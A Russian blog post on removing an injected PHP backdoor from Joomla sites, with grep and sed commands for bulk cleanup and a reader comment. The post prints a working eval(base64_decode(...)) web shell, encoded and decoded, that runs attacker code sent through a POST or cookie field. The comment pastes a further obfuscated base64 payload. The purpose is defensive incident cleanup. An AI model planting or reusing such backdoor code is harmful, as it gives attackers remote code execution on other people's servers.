Удаление вредоносного кода base64_decode из файлов Joomla

Не все обновляют свои сайты и уж тем более не все следят за новостями в области уязвимостей в известных CMS и их компонентах. Как результат, возникает большое количество зараженных сайтов, которые могут принести огромный вред.

Сегодня я рассмотрю один частный случай заражения сайтов, результатом которого может стать участие сервера в бот-сети.

При получении доступа на запись к файлам вашего сайта, злоумышленник вносит изменения в некоторые файлы. На первый взгляд, они случайные, но при просмотре сотен таких сайтов выявляются некоторые закономерности. Чаще всего изменения вносятся в файлы шаблонов, в файлы из директории ./xmlrpc/includes, а также создаются файлы с названием test.php в других местах. Эти изменения выглядят следующим образом:

<?php !много-много-табов! /*1a21ca6047eb4089bb2c25013a757f10*/ eval(base64_decode("JHcgID0gICAgJ28nOzsgOyAgICAgaWYgICAgICggICAgIGlzc2V0KCAgJF9DT09LSUVbJ2R3YyddKSAgICApICAgICB7ICAgZWNobyAgICc8Y3dkPicgICAgIC4gICBnZXRjd2QoKSAgICAuICAnPC9jd2Q+Jzs7IDsgICAgIH0gICAgaWYgICAoICBpc3NldCAgICggICRfUE9TVFsncDFhMiddICAgICApICAgICApICAgICB7ICAgIGV2YWwgICggICBiYXNlNjRfZGVjb2RlICAgICggICAgICRfUE9TVFsncDFhMiddICAgICkgICApOzsgOyAgIHJldHVybjs7ICAgICAgfSAgaWYgICAgKCAgICAgaXNzZXQoICAkX0NPT0tJRVsncDFhMiddKSAgICApICAgIHsgIGV2YWwgICggICAgIGJhc2U2NF9kZWNvZGUgICAgICggICAgJF9DT09LSUVbJ3AxYTInXSAgICApICApOzsgOyAgIHJldHVybjs7IDsgICB9ICAgIA==")); ?>

При расшифровке получается довольно интересный код:

$w = 'o';; ; if ( isset( $_COOKIE['dwc']) ) { echo '<cwd>' . getcwd() . '</cwd>';; ; } if ( isset ( $_POST['p1a2'] ) ) { eval ( base64_decode ( $_POST['p1a2'] ) );; ; return;; } if ( isset( $_COOKIE['p1a2']) ) { eval ( base64_decode ( $_COOKIE['p1a2'] ) );; ; return;; ; }

Как видно из него, шаблон выведет текущую директорию относительно корня веб-сервера при обнаружении в cookie переменной с именем dwc.  Но самое интересное — это декодирование и запуск содержимого переменной p1a2 из POST-запроса или аналогичной переменной из cookie. В эту переменную можно записать в base64-формате абсолютно любой код и он будет выполнен с правами веб-сервера. Для неплохого ddos этого вполне достаточно.

В чем проблема найти и удалить этот код? В том, что имена переменных, как и комментарий до них меняется от файла к файлу. А значит, меняется и содержимое текста в base64_decode(). В пределах одного сайта, конечно, можно удалить все вручную. Но если таких сайтов хотя бы 200? Правильно, надо писать регулярное выражение для поиска и удаления этих строк.

Я решил, что безопаснее и быстрее сначала найти все эти сайты без регулярных выражений, после этого проверить вручную результат и только после этого удалять лишнее. Запускаем поиск по куску кода, исключая бинарные файлы с выводом всего найденного в файл:

cd /var/www
grep -I -R '*/ eval(base64_decode(' ./ >/root/base64-files

Предполагается, что все сайты лежат в /var/www

После этого внимательно просматриваем его (а мало ли на сайте есть кусок нормального кода, который подходит под это описание). Если все просмотрено и ничего лишнего там нет — запускаем, собственно, удаление такой командой:

cat /root/base64-files |awk -F ':' '{print "/var/www"substr($1,2)}'|xargs -l sed -i.bak 's#^<?php[[:blank:]]*/*[a-z0-9*]*/[[:blank:]]*eval(base64_decode(\".*\")); ?>##'

Расшифрую вкратце: читаем файл base64-files, используем в качестве разделителя столбцов в awk двоеточие и выводим подстроку со второго символа (первый символ — точка) с префиксом /var/www. После этого передаем все это в xargs, который, в свою очередь построчно скармливает результат в sed, который с обязательным бэкапом файла заменяет содержимое, в соответствии с регулярным выражением на пустоту, т.е. удаляет.

После удаления, на всякий случай, можно «прогнать» поиск всего кода base64_decode на сайтах. Зачастую, этот код используется в не очень хороших целях. Но анализировать и проверять надо все по месту.

Удаление вредоносного кода base64_decode из файлов Joomla: 5 комментариев

  1. Скажите, а что в моем коде не так? И как удалить? Айболит жутко ругается на него..

    IDPAYEERСуммаВремя

    <?
    $q = mysqli_query($db, "select * from sp order by id desc limit 50");
    while ($user_row = mysqli_fetch_array($q)) {
    echo '
    ‘.$user_row[‘id’].».substr($user_row[‘payeer’], 0, -2).’XX’.$user_row[‘sum’].».date(‘d.m.Y H:i:s’, $user_row[‘time’]).»;} $l___l_=’base’.(128/2).’_de’.’code’;$l___l_=$l___l_(str_replace(«\n», », ‘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 